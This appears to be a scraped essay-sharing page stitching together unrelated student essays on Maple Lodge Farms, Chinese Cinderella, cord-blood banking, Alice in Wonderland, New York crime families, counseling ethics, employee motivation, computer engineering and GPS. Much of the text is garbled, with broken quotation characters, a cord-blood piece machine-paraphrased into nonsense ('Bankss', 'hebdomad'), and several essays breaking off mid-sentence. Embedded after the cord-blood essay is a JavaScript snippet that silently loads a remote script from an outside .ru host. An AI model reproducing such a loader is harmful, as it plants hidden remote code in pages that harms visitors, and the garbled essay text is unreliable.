Maple Lodge Farms

Studying the Relevance of Larry Greiner’s Developmental Phases to the Future Stability of Maple Lodge Farms Maple Lodge Farms, a family-owned business awarded the prestige of being one of Canada’s 50 best managed companies, has attained success by employing a number of strategic organizational practices. Since the inception of Maple Lodge Farms, the founders’ commitment to providing various Canadian households with the highest quality chicken products has allowed it to become one of Canada’s leading poultry companies.Initially, the business owners’ main priority was to launch Maple Lodge Farms as a highly recognizable brand capable of sustaining a loyal customer base. This goal was largely achieved through a variety of measures the founders implemented throughout the organization’s existence. Recently, a few of the methods used to promote Maple Lodge Farms consist of using an integrated organizational structure, ensuring the safety of the pro ducts through technological innovations and limiting the company’s environmental imprint on society.In this research paper, I intend to analyze the current transitional stage of Maple Lodge Farms in Larry Greiner’s terms, evaluate the success of the organization’s human resources strategy – relating it to Larry Greiner’s developmental phases – and offer potential suggestions to boost its future growth. For the purpose of this analysis, a discussion of Larry Greiner’s article, Evolution and Revolution as Organizations Grow: A company’s past has clues for management, is necessary to provide insight into the growth phase Maple Lodge Farms is now in.Larry Greiner, a professor at the Harvard Business School, believes the natural progression of a company from its initial stages to a more sophisticated business model is a consequence of its organizational structure. In other words, an organization’s current managerial framework influences its upcoming management decisions – hence the title of Greiner’s paper. He states that the future health of a business is dependent upon the way it is managed – i. e. its management style – in addition to how it reacts to challenges presented to the established managerial setup. Companies fail to see that many clues to their future success lie within their own organizations and their evolving states of development. Moreover, the inability of management to understand its organization development problems can result in a company becoming â€Å"frozen† in its present stage of evolution or, ultimately, in failure, regardless of market opportunities† (Greiner, 1998). Moreover, Greiner contends that a business undergoes five known developmental phases – each characterized by both an evolutionary and revolutionary stage. â€Å"1.The term evolution is used to describe prolonged periods of growth where no major upheaval occurs in o rganization practices. 2. The term revolution is used to describe those periods of substantial turmoil in organization life. As a company progresses through developmental phases, each evolutionary period creates its own revolution† (Greiner, 1998). Therefore, a specific growth period is defined by a particular management style and a management crisis which results directly from it – i. e. the evolutionary and revolutionary aspects of each transitional phase respectively.Furthermore, the age and size of the organization, in addition to the growth rate of the industry, all play roles in the construction of a progression model that accurately describes a business. Greiner’s assumptions are relevant to Maple Lodge Farms because not only do they enable an understanding of the organization’s present state of development, but they also offer implications for the future stability of the business – essentially by indicating which management style a company s hould adopt as it grows and changes.Before I investigate the effectiveness of Maple Lodge Farms’ business plan – specifically its human resources approach – and forecast its growth capabilities, I must first identify the organization’s present developmental state. According to Greiner’s descriptions of the various stages a company undergoes, the history of Maple Lodge Farms shows that it is currently in the third phase of growth – specifically, the evolutionary part known as the delegation stage. The next era of growth evolves from the successful application of a decentralized organization structure. It exhibits these primary characteristics: 1. Much greater responsibility is given to the managers of plants and market territories. 2. Management often concentrates on making new acquisitions which can be lined up beside other decentralized units. 3. Communication from the top is infrequent, usually by correspondence, telephone, or brief visits to field locations† (Greiner, 1998).The owners’ dedication to providing superior customer service has guided every facet of the way their business has been managed. In pursuit of this goal, the company has successfully implemented a decentralized management structure. â€Å"We are there every step of the way – we have established a unique integrated development team that includes senior representation from Sales, Marketing, Research and Development, Quality Assurance, and Supply Chain to ensure superior quality and customer-focused service† (â€Å"Maple lodge farms†, 2011).This structural framework reflects Greiner’s organizational aspect of the delegation stage, as it offers managers greater responsibility in supervising the operations of their plants – fundamentally affording them the freedom to manage these plants as they see fit, with limited corporate intervention. The other traits Greiner prescribes to the delegation stage †“ besides the organizational arrangement –, confirms the notion that Maple Lodge Farms is in fact in this transitional phase. The delegation stage proves useful for gaining expansion through heightened motivation at lower levels. Decentralized managers with greater authority and incentive are able to penetrate larger markets, respond faster to customers, and develop new products† (Greiner, 1998). The organization’s foray into Halal poultry – especially with the prosperous Zabiha Halal line – not only demonstrates the effectiveness of the company’s branding system, but also that Maple Lodge Farms wants to breach the substantial Muslim market and thus attract a more ethnically diverse consumer base.Moreover, the organization’s successful promotions of its newer items – such as the pre-cooked refrigerated foods, the chicken bacon and other innovative manufactured products –, suggests that Maple Lodge Farms is attempting to cater to different preferences; the firm does this to capture a larger market segment, beyond what they have attained so far. Furthermore, the company’s latest acquisition of plants in New Brunswick and Nova Scotia, in addition to Ontario, is testament to their desire to infiltrate a broader market across provincial lines.This action implies that Maple Lodge Farms is not only expanding its product lines to suit differentiated customer tastes, but also enlarging the organization nationwide – a claim supported by its recent obtainment of plants in New Brunswick, as well as Ontario, and its intention of partnering with Nova Scotia and P. E. I. growers to build primary operations in Berwick, Nova Scotia (â€Å"Grand river foods,† 2011). Since the characteristics that Maple Lodge Farms possesses are outlined in Greiner’s delegation stage, it thereby affirms that the organization is currently in this part of its evolution.Although Maple Lodge Farms appears to be doing well in the delegation stage of Greiner’s model, I believe that the organization may be on the verge of entering the revolutionary component of the third growth phase – referred to as the control crisis. Essentially, this situation arises as a product of the management style introduced in the delegation stage – involving market expansion, decentralized organizational structure, delegative managerial style and so on.Moreover, the control crisis occurs when â€Å"top executives sense that they are losing control over a highly diversified field operation. Autonomous field managers prefer to run their own shows without coordinating plans, money, technology, and manpower with the rest of the organization† (Greiner, 1998). Though this scenario may not be representative of the company quite yet, Greiner insinuates that at the end of an evolutionary period, all companies must enter a revolutionary period; it is merely the path that all organizations must follow in their progression models.Therefore, it is more than likely that Maple Lodge Farms may soon be in a crisis control situation, as its lengthy evolutionary stage is poised to end. The firm should understand the pending reality of a control crisis and be willing to make changes regarding the managerial framework, so as to preserve the health of the company. In 2010, Maple Lodge Farms was given the honor of being named one of fifty organizations in Canada that earned the Best Managed Company award. The CEO of Maple Lodge Farms, Michael Burrows, attributes this success to the customer-oriented method the company whole-heartedly embraces. At Maple Lodge Farms, we speak with our customers on an ongoing basis to gain their insights and to identify the most significant opportunities that move us closer to realizing their success†¦Our sales team is actively engaged with our customers and in the marketplace as often as possible in order to remain abreast of new opportunities and challenges†Ã‚  (â€Å"Maple lodge farms,† 2011). Maple Lodge Farms has nurtured this customer service focus through the use of effective human resources management, which prioritizes the recruitment and training of individuals able to meet inflexible customer demands.Consider the organization’s venture into the untapped Halal foods market. The company’s interest in realizing potential gains from Muslim buyers compelled Maple Lodge Farms to first launch its Halal product line in the 1990s – which has since been perfected over the organization’s existence. In adherence with strict Islamic procedures, the company employs several Muslim individuals to handle the slaughter of its chickens. â€Å"We have a team of several Muslim Blessers and a dedicated Muslim Product Manager†¦under oath to perform the duties assigned to them with honesty and integrity.ISNA’s Halal auditor visits our plant on daily basis to ensure the Halal process is followed with consistency† (â€Å"Maple lodge farms†). Consequently, in order to meet the stringent requirements of the Muslim community, Maple Lodge Farms has recruited and/or trained personnel in a highly specified manner, so as to satisfy their particular consumer needs. Additionally, the human resources department of Maple Lodge Farms encourages management leaders to continuously undergo training programs in order to keep abreast of new managerial techniques.This increases the efficiency of how all the plants of the firm are run. Moreover, the company has regular employee performance appraisals in order to ensure the quality of services offered to consumers. Therefore, the organization’s emphasis on fostering an organizational culture premised upon customer satisfaction – achieved partly through human resources policies concerning recruitment and training – has allowed the company to achieve recognition for its entrepreneurial strides.The workp lace diversity amongst employees of Maple Lodge Farms – ensuing from the diversification of the firm’s product lines to accommodate Halal consumers – necessitates a form of diversity management and the implementation of employee diversity programs by the human resources department. Diversity management’s initiative is not simply to advocate tolerance; more significantly, its purpose is to combine the different perspectives of a multicultural organization’s staff and use them to improve the firm’s performance.My research indicates that while Maple Lodge Farms may have a rudimentary diversity management system in place, its human resources team should consider taking full advantage of the company’s diverse employee population. This involves: top management commitment, diversity training programs, inclusive/representative communications, activities celebrating diversity, support groups/mentor programs, diversity audits and management acc ountability.I believe establishing a comprehensive diversity management system will allow Maple Lodge Farms to become not only an inclusive firm but one that is more effective from a business standpoint. My analysis of Maple Lodge Farms shows that it has tremendous potential to grow as an organization. Firstly, the managerial team should consider altering its delegative style of management to one that involves coordination techniques. Since Maple Lodge Farms seems to be on the outset of a revolutionary period in Greiner’s growth model, a change in how the company manages itself is necessary. Those companies that move ahead find a new solution in the use of special coordination techniques† (Greiner, 1998). Establishing these modifications in the organizational structure and in the general way the firm is managed, will enable Maple Lodge Farms to progress into the coordination stage – the next phase of Greiner’s growth model – and maintain the company ’s steady evolution. â€Å"All of these new coordination systems prove useful in achieving growth through more efficient allocation of a company’s limited resources.They prompt field managers to look beyond the needs of their local units†¦they learn to justify their actions more carefully to a â€Å"watchdog† audience at headquarters† (Greiner, 1998). Furthermore, the aforementioned diversity management system is another change Maple Lodge Farms should make, as it will move the organization in a new direction – wherein the marketing strategy will be more wide-ranging and cognizant of the immense diversity in customer tastes.From a human resources perspective, Maple Lodge Farms has succeeded in aspects other companies have failed in; they have created an organizational culture that whole-heartedly advocates superior customer service policies. This is evidenced by the human resources policies emphasizing the recruitment and training of qualified individuals, who are able to meet the organization’s standards of customer service. The distinction of being one of Canada’s fifty best managed companies validates the human resources measures Maple Lodge Farms has undertaken to provide first-class products and the best customer service.If the firm were to establish a strategic plan to implement a coordination management style and a diversity management system, then Maple Lodge Farms would experience no difficulties in continuing its success as a company in the future. Works Cited 1. Grand river foods fresh poultry processing division sold to maple lodge farms. (2011, November 21). Canadian Poultry Magazine, Retrieved from http://www. canadianpoultrymag. com 2. Greiner, L.E. (1998). Evolution and revolution as organizations grow. Harvard Business Review, (Reprint 98308), 4-11. Retrieved from http://www. gertjanschop. com 3. Maple lodge farms amongst best managed companies. (2011, February 23). Brampton Guardian. Retri eved from http://www. bramptonguardian. com 4. Maple lodge farms ltd. : Zabiha halal. (n. d. ). Retrieved from http://www. zabihahalal. com

A Chinese Cinderella – Autobiographi

In the autobiographical book â€Å"Chinese Cinderella†, the author, Adeline Yen Mah, goes through a lot of hardships and difficulties with her family and life in general. She is not treated as part of her Fathers family and is sent away to live in a boarding school away from them. Adeline’s relationship with her family is very distant and cold, she is unloved and unwanted. No one acknowledges her or shows any heed and sympathy towards her. This relationship is shown in line 28 when she asks ‘Where is everyone? As no one comes to greet her when she arrives home, showing how they are uncaring towards her and do not regard her as family, not even welcoming her arrival or asked if she would like anything. It is almost as if she is a stranger, even to her biological father and siblings who continue to play ‘by the swimming pool’, no one caring about her coming back home. In addition, she is not informed about her family moving home when she asks her Father ’s chauffeur in line 23 ‘Where are we? Her questions show her confusion and little knowledge on what has been happening at home pointing out that her family have not even bothered to write to her. Her other siblings and stepmother are ignorant to her arrival as if she is a stranger and worthless. Being sent to boarding school points out even more that they do not want anything to do with her and would rather not see her because to them she is nothing.Adeline knows this herself as when Ma-mien Valentino calls her to tell her that her ‘chauffeur is waiting to take her home’ she thinks that someone has died because the last time she was called home it was only due to this reason and she begins to fear what might have happened. When she arrives the servants use a rude tone and do not care for her as much as they would for her stepsiblings showing the unfairness, even her father using a commanding tone when he meets his daughter after so long not even welcoming her but orders her to ‘Sit down’ instead.Her father does not regard her as his own daughter but uses her to improve his status with her achievements so when her father speaks to her she becomes timid and afraid, not trusting him when he shows her a little kindness, pointing out the distant relationship between Adeline and her family. Adeline’s character is somewhat cautious she doesn’t trust people too quickly, especially when it comes to the kindness from her family members as she is wary that they are playing a trick on her to make her feel miserable like they did all her life. Although she is not treated well by her family, she s clearly educated and this is shown when she wins a competition and quotes a poem to show her happiness. However, she is modest and keeps her happiness and excitement hidden, showing her timid and humble personality when she comes across her father and hiding what she feels even though it proved to be difficult but because she i s clever and knows her father too well she did not want to miss the one chance she would have in a life time. She respects her father’s wishes as she would do anything to leave the place where she is unwanted though her strong personality keeps her distress that she suffered for years at bay.

Blood Of Children Sampling Essay Research Paper

Blood Of Children Sampling Essay, Research Paper Should parents pay a blood bank to hive away the blood from their newborn babe # 8217 ; s umbilical cord and placenta, in instance that kid or another household member of all time demands it to handle malignant neoplastic disease or leukaemia? Anticipant parents are being urged to make so by companies that have sprung up during the past few old ages to sell cord-blood banking as a signifier of biological insurance against such awful diseases. The pitch is based on studies in medical diaries, such as a major survey published last hebdomad in the New England Journal of Medicine, demoing that cord blood can sometimes be used in topographic point of a bone marrow graft. Like bone marrow, cord blood is rich in root cells, which can churn out many different types of cells to reconstruct a patient # 8217 ; s blood supply and immune system after high doses of radiation and chemotherapy. And a patient # 8217 ; s ain cord blood, or that from a comparative, is more likely than cord blood from an unrelated giver to be a good tissue lucifer and to be accepted by the receiver # 8217 ; s organic structure. Some experts in bone-marrow organ transplant and blood banking scowl on the cord-blood concern, reasoning that people are being frightened into blowing money on a service they will likely neer necessitate. Furthermore, private companies are turning in tandem with public Bankss, and some scientists worry that private banking will restrict public entree to cord blood. They are concerned because the cord blood in private Bankss remains the belongings of the donor household and is non available to patients seeking a compatible giver. But the companies say that nevertheless remote the possibility that the blood will be needed, people who choose to bank their ain cord blood have a right to make so. In most instances their cord blood would be thrown off in the bringing room if they did non pay to bank it. There are merely a few cord-blood Bankss in the United States, and most infirmaries do non hold specially trained staff members to roll up the blood. Like bone marrow, cord blood must be matched to the receiver by trials for six familial traits that determine an single # 8217 ; s tissue type. Cord blood does non hold to be as exactly matched as bone marrow, but still, the closer the lucifer, the better the odds of success. The weaker the lucifer, the more likely it is that the receiver # 8217 ; s organic structure will reject the graft, or the graft will assail the receiver # 8217 ; s tissues, in a dangerous reaction called transplant versus host disease. The companies that freezing cord blood and bank it point out that a individual # 8217 ; s ain cord blood is a perfect lucifer, and a sibling # 8217 ; s cord blood a more likely lucifer than a specimen from a alien. And so, the statement goes, the best manner to protect an full household from the unthinkable is to salvage the neonates # 8217 ; cord blood. Promotional literature for one company, Cord Blood Registry, in San Bruno, Calif. , emphasizes that people with malignant neoplastic disease in the household may hold a particular involvement in cord-blood banking, along with those who have the hardest clip happening lucifers, which includes members of racial minorities, particularly households in which the parents are of different races. Harmonizing to a spokeswoman, Scoti Kaesshaefer, the company reaches parents-to-be by advancing itself to physicians, nurses and childbearing pedagogues, and by go forthing information at infirmaries. Among the promotional stuffs the company provided to the New York Times were transcripts of articles from other newspapers proposing that malignant neoplastic disease among kids is on the rise. The company besides has a Web site and an 800 figure with a recorded salutation that instructs companies to hold their recognition cards ready. The thought of salvaging one # 8217 ; s ain cord blood seems to be catching on. Cord Blood Registry, which describes itself as the largest private cord-blood banking house in the United States, has stored 10,000 samples during the past three old ages: 1,500 in 1995, R / gt ; 3,000 in 1996 and 6,000 in 1997. The company charges an initial fee of $ 1,200 to roll up a sample and freezing it, and so $ 95 a twelvemonth to maintain it stored in liquid N at the blood bank at the University of Arizona. Customers include people with absolutely healthy kids, who merely want excess peace of head, as good as some households who have lost a kid to leukemia or another disease and fright for the wellness of their other kids. In its three old ages of operation, eight clients have retrieved their cord blood for usage in medical intervention, said Kaesshaefer. All eight samples were used for siblings or relations, she said. By contrast, the largest public-access bank of cord blood, at the New York Blood Center in Manhattan, has collected merely 8,686 specimens in six old ages. But about 800 of those samples have been used to handle patients, many of them kids, in the United States and overseas. Critics of private cord-blood companies point out that even if a individual with banked cord blood does necessitate a graft later, the stored blood may non be the best pick. Dr. Pablo Rubinstein, who directs the cord-blood plan at the New York Blood Center, said there was a compelling medical statement against utilizing a patient # 8217 ; s ain cord blood in some instances. In some immature kids with leukaemia, he said, malignant cells were already present at birth in the cord blood, and instilling those cells back into the kid subsequently might lend to a backsliding. In add-on, he said, bone marrow from a giver could assist destruct morbid cells, an consequence known as transplant versus leukaemia. A individual # 8217 ; s ain cord blood might non hold that consequence, and in some instances even a sibling # 8217 ; s might non. Dr. John Wagner, associate manager of bone marrow organ transplant at the University of Minnesota in Minneapolis, said that for a kid being treated late, he intentionally rejected cord blood from a sibling in favour of a well-matched unit from an unrelated giver, trusting to take advantage of its antileukemic consequence. Dr. Robertson Parkman, manager of bone marrow organ transplant at Children # 8217 ; s Hospital in Los Angeles, said he saw no point in banking cord blood for most households. It # 8217 ; s motivated by fright, he said. But in households with an sick kid who might necessitate a bone-marrow graft, he said, it makes sense to collect cord blood from any siblings born subsequently and salvage it. Medical centres with transplant plans will frequently execute that service, he said. So will some of the private companies, without a fee. When a bone-marrow giver could non be found for 4-year-old Joshua Kelton, who was enduring from leukaemia, his parents, stationed at a military base in Honolulu, conceived another kid in the hope that the babe # 8217 ; s tissues would fit Joshua # 8217 ; s. They did, and Cord Blood Register collected the cord blood at birth, stored it in Arizona for a month, and so, when Joshua was ready for the process, transported it to a medical centre at Stanford University. Joshua was treated with his baby brother # 8217 ; s cord blood in August, and has been declared free of leukaemia. Right now, he # 8217 ; s 100 per centum, his male parent said in a telephone interview, a normal kid, the manner he was before this happened. But the Keltons # 8217 ; experience is barely representative. That the household was certain it would necessitate the cord blood sets it apart from most households that store the blood. Wagner is wary of the hard sell of some of the cord-blood companies. My concern is that it be presented reasonably to expectant female parents, who are already reasonably vulnerable, he said. I have a batch of accoucheurs and parents naming me and kicking it # 8217 ; s excessively late, they missed the chance. Others call stating,# 8216 ; Should I make this? # 8217 ; It # 8217 ; s difficult to reply. I don # 8217 ; t want to bias them. We have person now who takes the calls for me because it got to be overpowering. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Examine how Alices Adventures in Wonderland major theme of growing up Essay

Examine how Alices Adventures in Wonderland major theme of growing up and finding ones identity are a reflection and product of a Victorian age, and how Wonderland is a social satire of Victorian culture - Essay Example t while Alice’s circumstances share commonalities with these other heroines – she finds herself in an unfamiliar place full of strange people – her experiences are entirely different. Unlike Dorothy, Susan, Lucy or Wendy, Alice has no purpose to guide and direct her wanderings through Wonderland. Even more significantly, Alice has nothing to offer the strange country she temporarily inhabits; nor does she change and grow emotionally as a result of her time in Wonderland. And though some feminist critics like Nina Auerbach have argued that Alice is a subversive feminist heroine, in fact, Carroll’s youthful protagonist seems to be nothing more or less than an ordinary Victorian girl – and rather than limiting the possibilities of the narrative, this realization expands them, allowing us to understand Alice as a creature of her own era, so that she – more than the Wonderland she traverses – becomes the vehicle of Carroll’s Victoria n satire. In this paper, I will argue that Carroll’s Alice deconstructs the Victorian notions of femininity and female coming of age in several ways. First, rather than being a sweet and charming female heroine, Alice is bossy, pretentious and often downright unlikable – isolated by her manners and her education from creatures who might have been her friends. Second, that Alice’s behavior toward the Wonderland creatures is a reflection of how Alice herself is treated in her own â€Å"real† life, revealing problematic dynamics between children and adults in Victorian culture. And finally, I will show that Alice’s adventures in Wonderland have merit and meaning only when they are reconstructed — through the Carroll/Narrator, through Alice’s sister and finally through Alice herself — to â€Å"interpret† a hodgepodge of facts and experiences into a memory of happy childhood. In fact, Alice’s Adventures in Wonderland can be read as a satire of a Victorian girl’s education into the rites of womanhood, a satire that

How the five new york crime familes influenced american society Research Paper

How the five new york crime familes influenced american society - Research Paper Example These included the application of gambling using enhanced technology over the internet without falling under the jurisdiction of the American legal system. This was done by having gambling occur through websites that were offshore and that had little chance of ever being intercepted by American law enforcement. Because of this, the family saw the American society face some of the largest debts owed by individuals to a crime family because of illegal gambling. This was as the case of Nicholas Cosmo, who started his own con after owing the family tens of thousands of dollars, which saw him run the Ponzi scheme to repay his own debt. This influenced the American society by bringing in the concept of crime to pay off debts owed to other criminals. The upgrade in the technological application of criminal activity was seen by the use of wired transfers to commit fraud by Nicholas Cosmo, who did all these as part of a debt that he owed to the family.1 Altogether, the Genovese crime family b rought together technological advancements for criminal gain, showing how vulnerable the American society is and how easily it can be defrauded. ... This infiltration saw the family rip millions of dollars from unsuspecting Americans who revealed their credit card number in order to go on with the free tours of the websites. This was designed such that once the user had provided their credit card details to the website, large amounts of funds were charged to the credit card illegally since none of them was authorized by the users and regulatory authorities. In addition, since the family made use of billing via telephone, they charged the government and other American in excesses of millions of dollars for their fraud. This is following the procurement, by the Gambino family, of a bank and a telephone company that allowed the family to plan elaborately their frauds and schemes to defraud Americans and the government.2 As such, the Gambino crime family influenced the American society in that it showed how powerful the crime families were to the point of infiltrating some of the most basic sectors such as banking and even internet u se, as well as phone calls. Their scams also led to the development of new waves of crime across America that were perpetrated in the most ingenious of ways that not even the government was able to crack until much later. This dug deep into the credibility of law enforcement in the American society since they were unable to bring to book, let alone discover the crime wave. It was part of the introduction of white-collar crime in the USA, where it showed how sophisticated organized crime rings were getting. In addition, Gambino family influenced the American society in that it inspired fear amongst Americans to the extent that even law enforcement had to

Wk 3 disc(6100) Essay Example | Topics and Well Written Essays - 500 words

Wk 3 disc(6100) - Essay Example Because of this circumstances and impending threat, Patricia is experiencing anxiety and very nervous when she consulted Lisette. Moreover, she has already lost 15 pounds. In counseling, the one of the counselor’s role is to help the clients create their own road maps that would help them resolve their problem on their own. It is also a practice that counselor’s must not let their clients depend on them emotionally so they can become independent and realize that they make their own choices. In this case, this has not been observed since Shaun allowed himself to have an intimate affair with the counselee. In section 2.5 of the 2005 ACA Code of Ethics, counselors are prohibited from engaging in sexual or intimate affairs with their clients. Doing so means abuse of power since the counselor takes advantage of the vulnerability of the client. Koocher and Keith-Spiegel (1998) asserted that confidentiality is considered as â€Å"a cornerstone of the helping relationship†. Moreover, the element of trust has been betrayed which is the keystone in counseling. Shaun has gone beyond his limits and showed subjectivity by even threatening Patr icia to stop assisting her. Fisher ( 2008 ) argued that the counselor must be very aware that the â€Å"primary obligation† is again the protection of information , not just the protection of rights (Ethical Standard 4.01, Maintaining Confidentiality). Therefore, Shaun cannot disclose any information to anyone especially to Patricia’s live-in boyfriend. If he does, then he is liable for violating the Code of ACA. Lisette then must act immediately to protect the counselee from harm by requesting a transfer of the counselee to another counselor ( in this case, Lisette). Indeed, the situation has become complicated since Lisette has to deal with Shaun and at the same time, earning Patricia’s

The purpose of the study is to determine if long-term reductions in Dissertation

The purpose of the study is to determine if long-term reductions in employee compensation, benefits, and incentives directly aff - Dissertation Example Having a clear understanding of the motivation of employees is tremendously significant to managers as well as the supervisors, particularly in the industries today where the limited budgets make it complicated to reward workers monetarily. The supervisors have to possess a clear idea of how the monetary incentives can motivate the employees to work harder in an organization (Bin Saeed, 1985). In order to analyze the effect of the long-term reductions in employee compensation, benefits, and incentives directly affecting the State of Colorado workers’ motivation, job satisfaction and morale, it is important to include the two well-known motivational theories i.e. Herzberg’s two factor theory (1959) as well as Adam’s equity theory (1963), into the project’s theoretical framework. The Herzberg’s Two-factor theory (1959), also commonly known as the motivation-hygiene theory, implies that there are certain factors at a workplace that result in job satisf action, while an entirely different set of factors cause employee dissatisfaction (Herzberg, 1959). According to the theory, employee motivation is influenced by two distinct factors. Psychological well-being and satisfaction were factors of the ‘motivation factors’, while dissatisfaction resulted from the ‘hygiene factors’. ... n the other hand, employee dissatisfaction is usually a result of missing extrinsic motivation factors or the hygiene factors, that include pay, security, conditions, and so on (Wigdor & House, 2006). If we take into consideration the decrease in hygiene factors of the State Workers for e.g. pay, security, and fringe benefits we see that over the previous 3 fiscal years (2007-2010) there was a decrease in typical intrinsic motivators (opportunities of advancement, statewide hiring, and promotion freeze). Herzberg’s theory helps explains the reasons for lack of motivation among the Colorado employees and their consistent job dissatisfaction. As the hygiene factors decrease, the employees lose their motivation to work and this is presumably characteristic of the department of EHS at CSU, since a steady decline in their motivational levels, job satisfaction and productivity is seen. Herzberg’s two factor theory can also be connected to Maslow’s levels of hierarchy i n order to provide comprehensive understanding of the fact that negligent incentives can contribute to employee dissatisfaction. Abraham H. Maslow made an effort to devise a needs-based structure of human motivation. Moreover, White & Pierce (2000) also imply that the foundation of Maslow’s motivation theory suggests that human beings are pushed forward by unsatisfied wants, and that some lower  factors need to be fulfilled before higher needs can be satisfied. According to Maslow, the needs can be divided into certain categories such as physiological, survival, safety, love, and esteem, that must be fulfilled before a person can act selflessly. He gave these needs the name of "deficiency needs" (White & Pierce, 2000). Relating the research of Maslow as well as Herzberg, we understand that their

Computer engineer Research Paper Example | Topics and Well Written Essays - 750 words

Computer engineer - Research Paper Example Bachelor's degrees in software engineering or computer science are a common place to start. Coursework to prepare the student Computer Engineer will include such topics as database design, systems analysis, critical thinking and technical writing. Because computer technology is a field that is constantly changing, continued education is vital to a successful career in Computer Engineering. High school students interested in pursuing this type of work should study mathematics, computer science, and physics. They should also take computer- programming courses in school or learn computer languages in their spare time. When in college, students should try to gain experience by getting an internship with software engineers. Most employers require that computer software engineers have a college education in computer science or software engineering. For more demanding jobs, a graduate degree is preferred. Knowledge of the major computer languages is a must. National certification courses ar e offered for most major computer languages, including C++, Java, and XML. ... ties and Responsibilities of a Computer Engineer Computer software engineers develop and maintain computer software programs, which are coded instructions that tell the computer what to do in logical steps. Software engineers work on a wide range of projects. They work in manufacturing, industry, engineering, government offices, and educational institutions. Sometimes they work on improving computer systems already in use. When asked to develop a program, a software engineer would first analyze the task and apply techniques of computer science, engineering, and mathematical analysis to come up with the best solution. The software engineer would then prepare systems flow charts that show diagrammatically how information would flow through the computer and its peripheral equipment to get the job done. Finally, they would create an outline of the actual program. In a large organization, such as a computer software company, computer engineers would instruct computer programmers to write the actual code that makes up the program and intercede only when the programmers have a problem. Once the program has been developed, the software engineer may test it for problems and examine it for errors in logic or data. Some programs require days to write, while others may require a year or so. (Cited from Barbara Bellesi; Computer Engineer-Duties and Salaries) Industry Growth and Wages Computer engineers will be in hot demand as computer networks grow in importance for companies both large and small. As a computer engineer, you can find employment in a variety of industries in both the public and private sectors, such as business, telecommunications, government, and health care. Computer engineers specializing in the Internet will be successful in finding employment for businesses

GPS navegation Research Paper Example | Topics and Well Written Essays - 750 words

GPS navegation - Research Paper Example Dr. Ivan came up with position finding system that relied on the time difference and construction of vehicles that used satellites for navigation. Professor Bradford Parkinson served in the navy under the air force wing. He was the manager for NAVSTAR GPS programs and would be perceived as the father of GPS (Parry, 2010). Not only did Bradford contribute in the air force navigation programs, but also handled research that led to the improvement of GPS used in the world today. On the other hand, Roger L. Easton had profound experience in spacecraft tracking and time. Roger offered his prowess in navigation technology and potential of satellite use in time travel. He also came up with theories and calculations that led to the launch of the first satellite manned with GPS. Roger involvement in the construction of time-based position vehicles and devices became of great use in the military. The creation of the three men and input of technicians gave rise to a component that has changed lives today. GPS became a critical tool in the military force, and that changed the security manning strategies (El-Rabbany, 2002). People started for feel that the military had gained necessary tools to fight menaces across the border and keep track of events that were potential threats to homeland security. Roger, Bradford, and Ivan had intended to give the military exclusive ownership to GPS to enable them hunt and track security-related concerns. However, GPS became beneficial to individuals and corporations. The NAVSTAR program gave the military of United States a fighting edge against the Soviet Union that has launched spacecraft. Air force gained a tool that could be used for accurate guidance in any position on the earth. The public learned of GPS and aired persistent demands on the use of the tool for personal purposes. Civilians saw it as a way of boosting their security and making navigation during travel